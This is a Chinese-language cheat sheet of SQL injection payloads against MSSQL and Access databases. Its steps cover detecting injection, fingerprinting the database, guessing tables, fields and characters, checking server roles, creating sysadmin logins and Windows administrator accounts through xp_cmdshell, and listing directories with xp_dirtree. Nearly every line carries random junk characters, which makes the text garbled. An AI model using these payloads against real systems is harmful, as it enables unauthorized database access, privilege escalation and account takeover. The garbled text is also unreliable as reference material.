1.判断是否有注入;and 1=1 ;and 1=2 7J;.T%4l
2.初步判断是否是mssql ;and user>0 |1<Z3\+_/
ttKfZ0
3.注入参数是字符'and [查询条件] and ''=' (gmB$pwS
A"k,T7B
4.搜索时没过滤参数的'and [查询条件] and '%25'=' uB^]5sqfk
XM 7zA^-
5.判断数据库系统 (\I =v".
vOj$-A--qU
;and (select count(*) from sysobjects)>0 mssql .cabw+&7
""a8eB6
;and (select count(*) from msysobjects)>0 access W&Hf}qs
^\6UTnS.
G`P+J
8`~]9ej
6.猜数据库 ;and (select Count(*) from [数据库名])>0 (j/O=$mJ
3TtW2h>M
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 (BGipX4
onlyvH4
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 dkLR
Q
fI|1@e1
9.(1)猜字段的ascii值(access) \[&]kPcDl
^v'Lu!\f
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 A^7!+1*K+
QHh#O +by#
(2)猜字段的ascii值(mssql) tc',c},h~,
3IkG*enI
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8HOmWQS
HHYcFoJwYN
10.测试权限结构(mssql) '$zFGq
}}
O+N-x8W{
rij[ZrJ
U&XoT-p$L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
_6' g]4
3C2>
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- {;zPW!G
+=_Pl7?
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 5ZVTI,4K
V("1\
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- y
^\8x^Eg
2&m7pcls
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- !iw
'tHhR
SXEiyy[7v
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- E'G>'cW;x
+*V;
f,
;and 1=(select IS_MEMBER('db_owner'));-- )R4<*
/C:w
D6u>[Z[T
]YP?bP,:
DtZm|~)a
11.添加mssql和系统的帐户 m"R(_E5
f#5JAR
;exec master.dbo.sp_addlogin username;-- p2G8Qls
;exec master.dbo.sp_password null,username,password;-- Ie"R,,c
3o>t~Sfi
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- eXK`%'
_ LNPB$P
;exec master.dbo.xp_cmdshell 'net user username password &}O!l'
&iZYBa
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- PS6`o
@nu/0+8h{
;exec master.dbo.xp_cmdshell 'net user username password /add';-- QGd- 9UEA]
__j8jEV
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- h86={@Le
Br5Io=/wg
"N]o5d
Gq/6{eRo\
12.(1)遍历目录 Wi^rnr'Ss
|@.<}/
;create table dirs(paths varchar(100), id int) e-9unnk
u9w&q^0dqG
;insert dirs exec master.dbo.xp_dirtree 'c:\' AF]!wUKxy
cg00t+
;and (select top 1 paths from dirs)>0 m7vxzC*
(JW?azU
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ~uadivli
&pjV4m|j<
Y&